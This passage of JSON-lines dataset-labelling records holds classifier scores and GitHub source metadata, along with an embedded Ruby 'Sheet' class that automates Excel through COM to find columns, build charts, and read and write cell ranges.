"missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9681, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9681, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:29:08.985322+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "f33b8ab2-c39a-444f-9838-d5bc5d15e9dd", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "b96f2aa7a13d777e604b8ab27c3aaed6ad24adac76df936d21bb453bb9f77d12", "source_metadata": {"uuid": "f33b8ab2-c39a-444f-9838-d5bc5d15e9dd", "repo_name": "greylable/docusignapp", "relative_path": "app/controllers/resendenvs_controller.rb", "category": "WEB", "algo_rel_score": 0.9680739045143127, "quality_score": 4.24330472946167, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 114, "repo_created_at": "2018-05-08T16:58:16.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "d680f545d036661ec5ae3e61c93015ba7593fdc2", "size_bytes": 4349, "file_timestamp": 1530261829, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "0e5ffc60979022e427fe0972c21173e05db0d8cf"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 114, "repo_created_at": "2018-05-08T16:58:16.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "d680f545d036661ec5ae3e61c93015ba7593fdc2", "size_bytes": 4349, "file_timestamp": 1530261829, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "0e5ffc60979022e427fe0972c21173e05db0d8cf", "url": "https://github.com/greylable/docusignapp/blob/0e5ffc60979022e427fe0972c21173e05db0d8cf/app/controllers/resendenvs_controller.rb"}, "gpt4o_tokens": 1115, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.5271803143791669, "noise_severity": 0.023291698275794408, "missing_content_severity": 0.022592221402318424, "factual_density": 3.263006196390253, "pretraining_utility": 0.32995296668940827, "math_density": 0.0038268727616478032, "code_density": 3.905555228233322, "reasoning_density": 0.29844434941636294, "education_level": 2.228796505023923, "creative_writing_quality": -0.45727493258015534}, "score_applicability": {"education_level": 0.998570962313356, "creative_writing_quality": 0.0007237740395281507}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/yamatakau08/myexcel/blob/8375158cb9501c7c630666ea2383f962830fe87a/sheet.rb", "id": "ruby-0-5d940b3b1981c1125b209287f2342290", "text": "class Sheet\n\n attr_reader :name\n\n def initialize(sheet)\n @sheet = sheet\n @name = sheet.name\n @font = \"Meiryo UI\"\n @size = 10\n\n @sheet.Cells.Font.Name = @font\n @sheet.Cells.Font.Size = @size\n end\n\n=begin\n def key2acol(key)\n # return column alphabet name of value in row\n @columns_keys[key]&.first || (warn \"#{self.class.name}##{__method__} #{key} is not found in #{@sheet.name}!\")\n end\n\n def key2ncol(key)\n # return column number of value in row\n @columns_keys[key]&.last || (warn \"#{self.class.name}##{__method__} #{key} is not found in #{@sheet.name}!\")\n end\n\n alias_method :acol, :key2acol\n alias_method :ncol, :key2ncol\n\n def update_columns_info\n # get all columns info of first row\n @columns_info = get_columns_info(row=1)\n # the following method needs '&.' in case of clean sheet\n @columns_keys = @columns_info&.map {|column| [column.first, column[1..]] }.to_h\n end\n=end\n\n def acol(key,row=1)\n # Returns the alphabet of the cell name of the cell that matches the key in the specified row.\n values = @sheet.UsedRange.Rows(row).Value.first\n col_alpha = values.zip('A'..).assoc(key)\n col_alpha&.last || (warn \"#{self.class.name}##{__method__} #{key} is not found in #{@sheet.name}!\")\n end\n\n def ncol(key,row=1)\n values = @sheet.UsedRange.Rows(row).Value.first\n col_num = values.zip(1..).assoc(key)\n col_num&.last || (warn \"#{self.class.name}##{__method__} #{key} is not found in #{@sheet.name}!\")\n end\n\n ## Excel column name <-> number\n=begin\n # http://d.hatena.ne.jp/keyesberry/touch/20111229/p1\n def alpha2num(alphabets)\n [*'A'..alphabets].size\n end\n\n def num2alpha(number)\n alpha = 'A'\n (number-1).times {alpha.succ!}\n alpha\n end\n\n alphabets = %w(A B Z AA AB AZ BB AAA IV ZZZ XFD)\n numbers = alphabets.map { |alpha| alpha2num alpha }\n # => [1, 2, 26, 27, 28, 52, 54, 703, 256, 18278, 16384]\n numbers.map { |num| num2alpha num }\n # => [\"A\", \"B\", \"Z\", \"AA\", \"AB\", \"AZ\", \"BB\", \"AAA\", \"IV\", \"ZZZ\", \"XFD\"]\n=end\n\n def num2alpha(num)\n (1..num).zip('A'..).last.last\n end\n\n def rgb(red,green,blue)\n # http://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-list/50163\n # http://www.relief.jp/itnote/archives/000482.php\n # VBAの場合は rrggbb の並びではない\n red | (green << 8) | (blue << 16)\n end\n\n def make_graph(range_obj,charttype,\n left: 400,top: 40,height: 428,width: 907,\n title: nil,\n xaxistitle: nil, yaxistitle: nil,\n reverseplotorder_value: nil, # X Axis ExcelConst::XlValue\n reverseplotorder_category: nil # Y Axis ExcelConst::XlCategory\n )\n # height: 428, width: 907 to fit Power Point slide area height: 15.1cm,width 32.31cm\n # 17.64cm 500pt -> 1cm = 28.354pt\n\n range_obj.Select # needed as for chart SetSourceData\n\n shapes = @sheet.Shapes # 指定されたシートのすべての**Shape** オブジェクトのコレクションです。\n # AddChart2 ドキュメントにグラフを追加します。 グラフを表す**Shape** オブジェクトを返し、指定されたコレクションに追加します。\n # https://learn.microsoft.com/en-us/office/vba/api/excel.shapes.addchart2\n # Style Use \"-1\" to get the default style for the chart type specified in XlChartType.\n graph_shape = shapes.AddChart2(Style: -1,XlChartType: charttype,Left: left,Top: top,Width: width,Height: height)\n\n # reverseplotorder\n # refer https://www.relief.jp/docs/excel-vba-chart-reverse-plot-order.html\n # Y Axis is xlcategory, X Axis is xlValue\n graph_shape.Chart.Axes(Type: ExcelConst::XlCategory).ReversePlotOrder = true if reverseplotorder_category\n\n graph_shape.Chart.Axes(Type: ExcelConst::XlValue).ReversePlotOrder = true if reverseplotorder_value\n\n ## title\n graph_shape.Chart.ChartTitle.Text = title if title\n graph_shape.Chart.ChartTitle.Format.TextFrame2.TextRange.Font.Name = @font\n # graph_shape.Chart.ChartTitle.Format.TextFrame2.TextRange.Font.Size = 14 # 14 default size\n\n ## axis title\n # x axis\n if xaxistitle # Primary\n graph_shape.Chart.Axes(Type: ExcelConst::XlCategory,AxisGroup: ExcelConst::XlPrimary).HasTitle = true\n graph_shape.Chart.Axes(Type: ExcelConst::XlCategory,AxisGroup: ExcelConst::XlPrimary).AxisTitle.Characters.Text = xaxistitle\n end\n\n # y axis\n if yaxistitle # Primary\n graph_shape.Chart.Axes(Type: ExcelConst::XlValue ,AxisGroup: ExcelConst::XlPrimary).HasTitle = true\n graph_shape.Chart.Axes(Type: ExcelConst::XlValue ,AxisGroup: ExcelConst::XlPrimary).AxisTitle.Characters.Text = yaxistitle\n end\n\n graph_shape # return graph_shape object for subsequent processing\n end\n\n def put_values_in_row(values,start_range_name = \"A1\")\n @sheet.Range(start_range_name).Resize(1,values.size).Value = values\n end\n\n def put_values_in_column(values,start_range_name = \"A1\")\n # Note\n # Since in case \"= values\", FIRST element of values is set in rows\n # need to \"= values.zip(0..)\", 0: dummy data\n @sheet.Range(start_range_name).Resize(values.size,1).Value = values.zip(0..)\n end\n\n def put_values_in_rowcolumn(values,start_range_name = \"A1\")\n # values should be two dimensional array\n row_size = values.size\n col_size = values.first.size\n @sheet.Range(start_range_name).Resize(row_size,col_size).Value = values\n end\n\n def get_values_in_row(row,range_type = nil)\n # ranget_type: for future use\n # 列全体\n # UsedRange 1列目 -UsedRange最終列 現時点ではこれを対応\n # UsedRange 指定列-UsedRange最終列\n # ...\n @sheet.UsedRange.Rows(row).Value.first\n end\n\n def get_columns_info(row,range_type = nil)\n # the followings methods need '&.' in case of clean sheet\n values = @sheet.UsedRange.Rows(row).Value&.first\n values&.zip('A'..,1..) # [[\"Key\",\"A\",1], ....] coloum data, column name, column no,\n end\n\n def get_values_in_column(column_name_or_number,range_type = nil)\n # ranget_type: for future use\n # 行全体\n # UsedRange 1行目-UsedRange最終行 現時点ではこれを対応\n # UsedRange 指定行-UsedRange最終行\n # ...\n @sheet.UsedRange.Columns(column_name_or_number).Value.flatten\n end\n\n def autofiltermode\n @sheet.AutoFilterMode\n end\n\n def autofilter(sw)\n # line 1 autofilter\n\n if autofiltermode\n @sheet.Rows(1).AutoFilter # Once Un AutoFilter\n @sheet.Rows(1).AutoFilter if sw # Re AutoFilter\n else\n @sheet.Rows(1).AutoFilter if sw\n end\n end\n\n def showalldata\n # http://club-vba.tokyo/vba-showalldata/\n @sheet.ShowAllData if @sheet.FilterMode\n end\n\n def columns_autofit(column = nil)\n # https://excelwork.info/excel/cellautofit/\n column ? @sheet.Columns(column).AutoFit : @sheet.Columns.AutoFit\n end\n\n def range2picture(range,pict_width = nil,pict_height = nil,pos_top = nil, pos_left = nil)\n # make cell range to picture\n @sheet.Range(range).CopyPicture\n @sheet.Pictures.Paste.Select\n\n # resize\n @sheet.Shapes(1).Width = pict_width if pict_width\n @sheet.Shapes(1).Height = pict_height if pict_height\n\n # move picture to specified position\n @sheet.Shapes(1).Top = pos_top if pos_top\n @sheet.Shapes(1).Left = pos_left if pos_left\n end\n\nend\n", "text_preview": "class Sheet attr_reader :name def initialize(sheet) @sheet = sheet @name = sheet.name @font = \"Meiryo UI\" @size = 10 @sheet.Cells.Font.Name = @font @sheet.Cells.Font.Size = @size end =begin def key2acol(key) # return column alphabet name of", "input_sha256": "c4736c6f3f3bfa95d2a800ae67050d7d340e510e52ff1ae204c7fa055e3aa34d", "text_sha256": "5d940b3b1981c1125b209287f2342290f3eb161d7cd42ad586ea707bbfb2576d", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16007, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 1, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.7595689051251163, "noise_severity": 0.09419367766390255, "missing_content_severity": 0.05831203572990207, "factual_density": 3.4038425507174623, "pretraining_utility": 0.5197209292940344, "math_density": 0.7014574680161874, "code_density": 3.742796436731804, "reasoning_density": 0.5146425828419114, "education_level": 2.231370422888145, "creative_writing_quality": -0.15403397087513537}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.004705168272098943, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9972513787039272, "secondary": 0.9770943820500162, "tertiary": 0.9778854705060155, "structured_records": 0.01617001522941291, "procedural_steps": 0.04883739641808739, "worked_solution": 0.07384777663364711, "contextual_dialogue": 6.398428952757654e-06, "content_quality": 0.5308425468793604, "noise_severity": 0.9215052686134145, "missing_content_severity": 0.9514066368917483, "factual_density": 0.5032021255978851, "pretraining_utility": 0.4789727811031067, "math_density": 0.5285176608235196, "code_density": 0.7856636972765031, "reasoning_density": 0.5711311809650738, "education_level": 0.6814620098268734, "creative_writing_quality": 0.9981303136520426, "primary_topic": 0.9821290770497774, "secondary_topic": 0.7262365320025763}, "probability_margin": {"primary": 0.9960121719430108, "secondary": 0.9650103407012335, "tertiary": 0.9704736354103317, "education_level": 0.5223226426005988, "creative_writing_quality": 0.9975174757221935, "primary_topic": 0.967392751403243, "secondary_topic": 0.5223727900988028}, "raw_probabilities": {"primary": {"Academic Writing": 3.81536963863996e-05, "Content Listing": 2.3348145619754096e-05, "Creative Writing": 1.933092725997572e-05, "Customer Support Page": 1.3171714569651768e-05, "Q&A Forum": 1.2369639728313408e-05, "Discussion Thread": 8.653128552882284e-06, "Comment Section": 1.8587924603226464e-05, "Missing Content": 3.3264887026203146e-05, "Knowledge Article": 0.0001097832934578326, "Legal Notices": 2.497448241963058e-05, "News Article": 4.090481372701327e-06, "Organizational Announcement": 9.231618784333243e-06, "Nonfiction Writing": 1.2142721676663607e-05, "Organizational About Page": 1.2274572376508535e-05, "Personal About Page": 1.637021725086999e-05, "Personal Blog": 9.62349919794908e-06, "Product Page": 8.87994668178164e-06, "Spam / Ads": 1.0950880271782184e-05, "Structured Data": 0.0003749494780391946, "Technical Writing": 0.9973659045912636, "Transcript / Interview": 1.585714959475163e-05, "Tutorial / How-To Guide": 0.0004964441523223488, "User Reviews": 7.910203290659233e-06, "Other / Unknown": 0.0013537326482527363}, "secondary": {"Academic Writing": 0.00015555418125629775, "Content Listing": 8.287820503436061e-05, "Creative Writing": 0.00011823683786644563, "Customer Support Page": 0.00015134105200777101, "Q&A Forum": 5.432209852618311e-05, "Discussion Thread": 4.156310189691083e-05, "Comment Section": 0.00017689967781834822, "Missing Content": 0.0007212731145389615, "Knowledge Article": 0.001060553721671969, "Legal Notices": 0.00016948407818487477, "News Article": 6.0478108984523804e-05, "Organizational Announcement": 6.109231744117751e-05, "Nonfiction Writing": 6.935701140638822e-05, "Organizational About Page": 7.323140033042212e-05, "Personal About Page": 7.273531147626885e-05, "Personal Blog": 5.544646423450083e-05, "Product Page": 4.259531047555464e-05, "Spam / Ads": 7.515526175325921e-05, "Structured Data": 0.0017277239302327355, "Technical Writing": 0.013038442096698714, "Transcript / Interview": 8.362462966834364e-05, "Tutorial / How-To Guide": 0.003824932436758569, "User Reviews": 3.4296853805189315e-05, "NONE": 0.9780487827979322}, "tertiary": {"Academic Writing": 0.00014579728341185808, "Content Listing": 0.00010492965224569132, "Creative Writing": 0.0001347259160622104, "Customer Support Page": 0.00036425414305568617, "Q&A Forum": 6.558688227726739e-05, "Discussion Thread": 4.353209187753884e-05, "Comment Section": 0.0003849009835544414, "Missing Content": 0.0010322344842390624, "Knowledge Article": 0.0027445334609539577, "Legal Notices": 0.0004279857979758132, "News Article": 6.91781232367667e-05, "Organizational Announcement": 6.566787003014909e-05, "Nonfiction Writing": 0.00012559429135140904, "Organizational About Page": 8.518883215104426e-05, "Personal About Page": 8.125124682262847e-05, "Personal Blog": 6.105338043616979e-05, "Product Page": 4.9721894956914736e-05, "Spam / Ads": 0.00012819935957850774, "Structured Data": 0.0010822347332550418, "Technical Writing": 0.008333273824599773, "Transcript / Interview": 8.995932067024087e-05, "Tutorial / How-To Guide": 0.005535482587896458, "User Reviews": 3.7804604429953516e-05, "NONE": 0.9788069092349315}, "structured_records": {"false": 0.9838299847705871, "true": 0.01617001522941291}, "procedural_steps": {"false": 0.9511626035819126, "true": 0.04883739641808739}, "worked_solution": {"false": 0.9261522233663528, "true": 0.07384777663364711}, "contextual_dialogue": {"false": 0.9999936015710472, "true": 6.398428952757654e-06}, "content_quality": {"-2": 0.009116766071800784, "-1": 0.0394492925486474, "0": 0.2954611359971284, "1": 0.4946938809474814, "2": 0.16127892443494196}, "noise_severity": {"0": 0.9189980600180921, "1": 0.07031793059135341, "2": 0.008757594443897, "3": 0.0013451016018753593, "4": 0.0005813133447822681}, "missing_content_severity": {"0": 0.9510400429633808, "1": 0.04224073921868522, "2": 0.004567079735670285, "3": 0.0016714152891785508, "4": 0.0004807227930851563}, "factual_density": {"0": 0.0041047217414384215, "1": 0.010004101661271199, "2": 0.09628262646671894, "3": 0.3571610043995328, "4": 0.5324475457310386}, "pretraining_utility": {"-2": 0.008085212532644595, "-1": 0.07127214865398963, "0": 0.3859559317852057, "1": 0.46220991104300685, "2": 0.07247679598515311}, "math_density": {"0": 0.4321606694977945, "1": 0.46385035102299943, "2": 0.08627993831587782, "3": 0.0057889242918803445, "4": 0.011920116871447822}, "code_density": {"0": 0.00027715077033398994, "1": 0.0006283048368446078, "2": 0.03250643678223022, "3": 0.18919717211186607, "4": 0.7773909354987252}, "reasoning_density": {"0": 0.6465939748012303, "1": 0.2225120754862157, "2": 0.10736384790310816, "3": 0.01671759568830367, "4": 0.006812506121142094}, "education_level": {"none": 0.0014143042903006404, "0": 0.001933583868144261, "1": 0.025687159757943875, "2": 0.7345516748557278, "3": 0.212229032255129, "4": 0.02418424497275444}, "creative_writing_quality": {"not_applicable": 0.9984419280433688, "-2": 0.00012152304552252293, "-1": 0.00028129745230268024, "0": 0.0009244523211753558, "1": 0.0001772507423024796, "2": 5.3548395328081675e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.092114243022043e-05, "Art & Design": 0.00012099492694177506, "Law & Crime": 4.97864275779402e-05, "Education & Careers": 4.9581924898214526e-05, "Entertainment & Media": 3.731186007873519e-05, "Fashion & Beauty": 3.2775980124255476e-05, "Business, Economics & Finance": 0.00014146846356490416, "Food & Dining": 3.59742410999162e-05, "Games & Gaming": 6.498667981634077e-05, "Electronics & Hardware": 9.674333558362314e-05, "Health, Healthcare & Wellness": 2.978070572539641e-05, "History & Geography": 4.234983119393624e-05, "Home, Pets & Hobbies": 4.357809594117088e-05, "Industry & Production": 5.1025171626176196e-05, "Language, Literature & Philosophy": 6.512186621187763e-05, "Politics & Government": 2.488608088808069e-05, "Religion & Spirituality": 4.1198813040896836e-05, "Science, Mathematics & Engineering": 0.00027265964613219307, "Relationships & Community": 2.9471430281172095e-05, "Software Usage & Applications": 0.015423668836927607, "Programming & Software Engineering": 0.9828164202401706, "Sports & Fitness": 6.169693491611179e-05, "Vehicles & Transportation": 2.8631577447273294e-05, "Travel & Tourism": 5.530445857039282e-05, "Other / Uncovered Subject": 0.0002686958723522364, "Unknown / Insufficient Content": 6.496545645900732e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0008471045521716984, "Art & Design": 0.0034513017631676844, "Law & Crime": 0.0006033265804610349, "Education & Careers": 0.0003576828690875965, "Entertainment & Media": 0.0005232135581132931, "Fashion & Beauty": 0.00029679729756576913, "Business, Economics & Finance": 0.0019657668243018038, "Food & Dining": 0.0003028090218493252, "Games & Gaming": 0.0004178433636152935, "Electronics & Hardware": 0.0004795148036219974, "Health, Healthcare & Wellness": 0.000300677413278578, "History & Geography": 0.00028607452658917514, "Home, Pets & Hobbies": 0.00031708111765262894, "Industry & Production": 0.00029241122590440035, "Language, Literature & Philosophy": 0.0003117989720233158, "Politics & Government": 0.0002406151136092326, "Religion & Spirituality": 0.00033092642524542714, "Science, Mathematics & Engineering": 0.0008891059622923491, "Relationships & Community": 0.0001881236807191446, "Software Usage & Applications": 0.21439310605752063, "Programming & Software Engineering": 0.034573881283485056, "Sports & Fitness": 0.00028800371492521565, "Vehicles & Transportation": 0.0001537146271063587, "Travel & Tourism": 0.00043202556223792966, "Other / Uncovered Subject": 0.0009911975271316425, "NONE": 0.7367658961563234}}, "probabilities": {"primary": {"Academic Writing": 3.815369638639961e-05, "Content Listing": 2.3348145619754103e-05, "Creative Writing": 1.9330927259975725e-05, "Customer Support Page": 1.3171714569651771e-05, "Q&A Forum": 1.2369639728313412e-05, "Discussion Thread": 8.653128552882286e-06, "Comment Section": 1.8587924603226468e-05, "Missing Content": 3.326488702620315e-05, "Knowledge Article": 0.00010978329345783262, "Legal Notices": 2.4974482419630588e-05, "News Article": 4.090481372701328e-06, "Organizational Announcement": 9.231618784333245e-06, "Nonfiction Writing": 1.214272167666361e-05, "Organizational About Page": 1.2274572376508538e-05, "Personal About Page": 1.6370217250869994e-05, "Personal Blog": 9.623499197949082e-06, "Product Page": 8.879946681781641e-06, "Spam / Ads": 1.0950880271782186e-05, "Structured Data": 0.0003749494780391947, "Technical Writing": 0.9973659045912638, "Transcript / Interview": 1.5857149594751633e-05, "Tutorial / How-To Guide": 0.0004964441523223489, "User Reviews": 7.910203290659235e-06, "Other / Unknown": 0.0013537326482527365}, "secondary": {"Academic Writing": 0.00015555418125629778, "Content Listing": 8.287820503436063e-05, "Creative Writing": 0.00011823683786644564, "Customer Support Page": 0.00015134105200777104, "Q&A Forum": 5.4322098526183115e-05, "Discussion Thread": 4.156310189691084e-05, "Comment Section": 0.00017689967781834824, "Missing Content": 0.0007212731145389616, "Knowledge Article": 0.0010605537216719692, "Legal Notices": 0.0001694840781848748, "News Article": 6.047810898452381e-05, "Organizational Announcement": 6.109231744117753e-05, "Nonfiction Writing": 6.935701140638824e-05, "Organizational About Page": 7.323140033042214e-05, "Personal About Page": 7.273531147626886e-05, "Personal Blog": 5.5446464234500834e-05, "Product Page": 4.259531047555465e-05, "Spam / Ads": 7.515526175325923e-05, "Structured Data": 0.0017277239302327357, "Technical Writing": 0.013038442096698716, "Transcript / Interview": 8.362462966834365e-05, "Tutorial / How-To Guide": 0.0038249324367585695, "User Reviews": 3.429685380518932e-05, "NONE": 0.9780487827979323}, "tertiary": {"Academic Writing": 0.00014579728341185808, "Content Listing": 0.00010492965224569132, "Creative Writing": 0.0001347259160622104, "Customer Support Page": 0.00036425414305568617, "Q&A Forum": 6.558688227726739e-05, "Discussion Thread": 4.353209187753884e-05, "Comment Section": 0.0003849009835544414, "Missing Content": 0.0010322344842390624, "Knowledge Article": 0.0027445334609539577, "Legal Notices": 0.0004279857979758132, "News Article": 6.91781232367667e-05, "Organizational Announcement": 6.566787003014909e-05, "Nonfiction Writing": 0.00012559429135140904, "Organizational About Page": 8.518883215104426e-05, "Personal About Page": 8.125124682262847e-05, "Personal Blog": 6.105338043616979e-05, "Product Page": 4.9721894956914736e-05, "Spam / Ads": 0.00012819935957850774, "Structured Data": 0.0010822347332550418, "Technical Writing": 0.008333273824599773, "Transcript / Interview": 8.995932067024087e-05, "Tutorial / How-To Guide": 0.005535482587896458, "User Reviews": 3.7804604429953516e-05, "NONE": 0.9788069092349315}, "structured_records": {"false": 0.9838299847705871, "true": 0.01617001522941291}, "procedural_steps": {"false": 0.9511626035819126, "true": 0.04883739641808739}, "worked_solution": {"false": 0.9261522233663528, "true": 0.07384777663364711}, "contextual_dialogue": {"false": 0.9999936015710472, "true": 6.398428952757654e-06}, "content_quality": {"-2": 0.009116766071800784, "-1": 0.0394492925486474, "0": 0.2954611359971284, "1": 0.4946938809474814, "2": 0.16127892443494196}, "noise_severity": {"0": 0.9189980600180919, "1": 0.0703179305913534, "2": 0.008757594443896998, "3": 0.001345101601875359, "4": 0.000581313344782268}, "missing_content_severity": {"0": 0.9510400429633808, "1": 0.04224073921868522, "2": 0.004567079735670285, "3": 0.0016714152891785508, "4": 0.0004807227930851563}, "factual_density": {"0": 0.004104721741438422, "1": 0.0100041016612712, "2": 0.09628262646671895, "3": 0.35716100439953286, "4": 0.5324475457310387}, "pretraining_utility": {"-2": 0.008085212532644596, "-1": 0.07127214865398965, "0": 0.38595593178520576, "1": 0.4622099110430069, "2": 0.07247679598515312}, "math_density": {"0": 0.4321606694977945, "1": 0.46385035102299943, "2": 0.08627993831587782, "3": 0.0057889242918803445, "4": 0.011920116871447822}, "code_density": {"0": 0.00027715077033398994, "1": 0.0006283048368446078, "2": 0.03250643678223022, "3": 0.18919717211186607, "4": 0.7773909354987252}, "reasoning_density": {"0": 0.6465939748012304, "1": 0.22251207548621574, "2": 0.10736384790310817, "3": 0.016717595688303673, "4": 0.006812506121142095}, "education_level": {"none": 0.0014143042903006404, "0": 0.001933583868144261, "1": 0.025687159757943875, "2": 0.7345516748557278, "3": 0.212229032255129, "4": 0.02418424497275444}, "creative_writing_quality": {"not_applicable": 0.9984419280433688, "-2": 0.00012152304552252293, "-1": 0.00028129745230268024, "0": 0.0009244523211753558, "1": 0.0001772507423024796, "2": 5.3548395328081675e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.092114243022043e-05, "Art & Design": 0.00012099492694177506, "Law & Crime": 4.97864275779402e-05, "Education & Careers": 4.9581924898214526e-05, "Entertainment & Media": 3.731186007873519e-05, "Fashion & Beauty": 3.2775980124255476e-05, "Business, Economics & Finance": 0.00014146846356490416, "Food & Dining": 3.59742410999162e-05, "Games & Gaming": 6.498667981634077e-05, "Electronics & Hardware": 9.674333558362314e-05, "Health, Healthcare & Wellness": 2.978070572539641e-05, "History & Geography": 4.234983119393624e-05, "Home, Pets & Hobbies": 4.357809594117088e-05, "Industry & Production": 5.1025171626176196e-05, "Language, Literature & Philosophy": 6.512186621187763e-05, "Politics & Government": 2.488608088808069e-05, "Religion & Spirituality": 4.1198813040896836e-05, "Science, Mathematics & Engineering": 0.00027265964613219307, "Relationships & Community": 2.9471430281172095e-05, "Software Usage & Applications": 0.015423668836927607, "Programming & Software Engineering": 0.9828164202401706, "Sports & Fitness": 6.169693491611179e-05, "Vehicles & Transportation": 2.8631577447273294e-05, "Travel & Tourism": 5.530445857039282e-05, "Other / Uncovered Subject": 0.0002686958723522364, "Unknown / Insufficient Content": 6.496545645900732e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0008471045521716984, "Art & Design": 0.0034513017631676844, "Law & Crime": 0.0006033265804610349, "Education & Careers": 0.0003576828690875965, "Entertainment & Media": 0.0005232135581132931, "Fashion & Beauty": 0.00029679729756576913, "Business, Economics & Finance": 0.0019657668243018038, "Food & Dining": 0.0003028090218493252, "Games & Gaming": 0.0004178433636152935, "Electronics & Hardware": 0.0004795148036219974, "Health, Healthcare & Wellness": 0.000300677413278578, "History & Geography": 0.00028607452658917514, "Home, Pets & Hobbies": 0.00031708111765262894, "Industry & Production": 0.00029241122590440035, "Language, Literature & Philosophy": 0.0003117989720233158, "Politics & Government": 0.0002406151136092326, "Religion & Spirituality": 0.00033092642524542714, "Science, Mathematics & Engineering": 0.0008891059622923491, "Relationships & Community": 0.0001881236807191446, "Software Usage & Applications": 0.21439310605752063, "Programming & Software Engineering": 0.034573881283485056, "Sports & Fitness": 0.00028800371492521565, "Vehicles & Transportation": 0.0001537146271063587, "Travel & Tourism": 0.00043202556223792966, "Other / Uncovered Subject": 0.0009911975271316425, "NONE": 0.7367658961563234}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, 